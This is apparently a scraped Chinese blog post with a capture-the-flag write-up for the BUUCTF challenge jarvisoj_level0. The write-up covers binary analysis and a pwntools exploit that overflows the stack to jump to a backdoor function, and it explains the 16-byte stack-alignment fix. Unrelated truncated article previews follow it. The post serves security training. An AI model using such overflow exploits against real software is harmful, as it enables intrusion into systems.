BUUCTF jarvisoj_level0 1

news/2024/5/19 22:15:57 标签: ctf, 网络安全, pwn

目录

  • 一、分析
  • 二、EXP
  • 三、本地打不通?远程能打通?

一、分析

查看文件信息
在这里插入图片描述
关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编
在这里插入图片描述
进入第一个函数
在这里插入图片描述
栈溢出
shift + F12查找字符串
在这里插入图片描述
点进去
在这里插入图片描述
发现是一个后门函数

二、EXP

from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

在这里插入图片描述
跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐


http://www.niftyadmin.cn/n/5089370.html

相关文章

/usr/bin/env: ‘python’: No such file or directory

解决报错/usr/bin/env: ‘python’: No such file or directory 一.启动某个程序报错 /usr/bin/env: ‘python’: No such file or directory解决方法 1.查看python3的版本 python3 --version2.查找python3的安装位置: whereis python33.为其创建符号连接&#…

2023年09月 C/C++(七级)真题解析#中国电子学会#全国青少年软件编程等级考试

C/C++编程(1~8级)全部真题・点这里 Python编程(1~6级)全部真题・点这里 第1题:红与黑 有一间长方形的房子,地上铺了红色、黑色两种颜色的正方形瓷砖。你站在其中一块黑色的瓷砖上,只能向相邻的黑色瓷砖移动。请写一个程序,计算你总共能够到达多少块黑色的瓷砖。 时间限…

指令跳转:原来if...else就是goto

目录 CPU 是如何执行指令的? 从 if…else 来看程序的执行和跳转 如何通过 if…else 和 goto 来实现循环? 小结 你平时写的程序中,肯定不只有 int a 1 这样最最简单的代码或者指令。我们总是要用到 if…else 这样的条件判断语句、while 和…

闲鱼的商品结构化是如何演进的

闲鱼商品结构化和淘宝/天猫最大的区别在于闲鱼卖家都是个人用户,无论是专业程度还是行动力远不及淘宝卖家。为了不阻碍商品发布,闲鱼一直倡导轻发布,理想状况用户拍完照片输入一段描述即可完成发布。但是这和商品结构化相悖:卖家输…

SystemVerilog Assertions应用指南 第一章(1.27章节 “within”运算符)

“ within”构造允许在一个序列中定义另一个序列。 seq1 within seq2 这表示seq1在seq2的开始到结束的范围内发生,且序列seq2的开始匹配点必须在seq1的开始匹配点之前发生,序列seq1的结束匹配点必须在seq2的结束匹配点之前结束。属性p32检查序列s32a在信号“ start”的上升沿和…

选实验室超声波清洗机易忽视的内容?小型清洗机的优点有?

实验室超声波清洗机如今在行业内占据着重要的一席之地,摒弃了传统模式,坚持以超声波为主的清洗方式,在市场中获得的反响强烈。服务好,有诚信的实验室超声波清洗机能够消除客户的后顾之忧,工作人员会以真诚态度向客户提…

数据结构学习系列之双向链表的三种删除方式

头删法:删除双向链表头结点后的结点,即头删法,代码如下:示例代码: int delete_dplink_list_1(node_t *phead){if(NULL phead){printf("入参为NULL\n");return -1;}if(NULL phead->next){printf("链…

冒泡排序(学习笔记)

冒泡排序 import java.util.Random;public class BubbleSort {//定义常量——数组长度public static final int MAXLENGTH 10;public static void main(String[] args) {//创建随机数组,数组长度需用户自定义int[] bubbleSortArr createArray(MAXLENGTH);//打印创…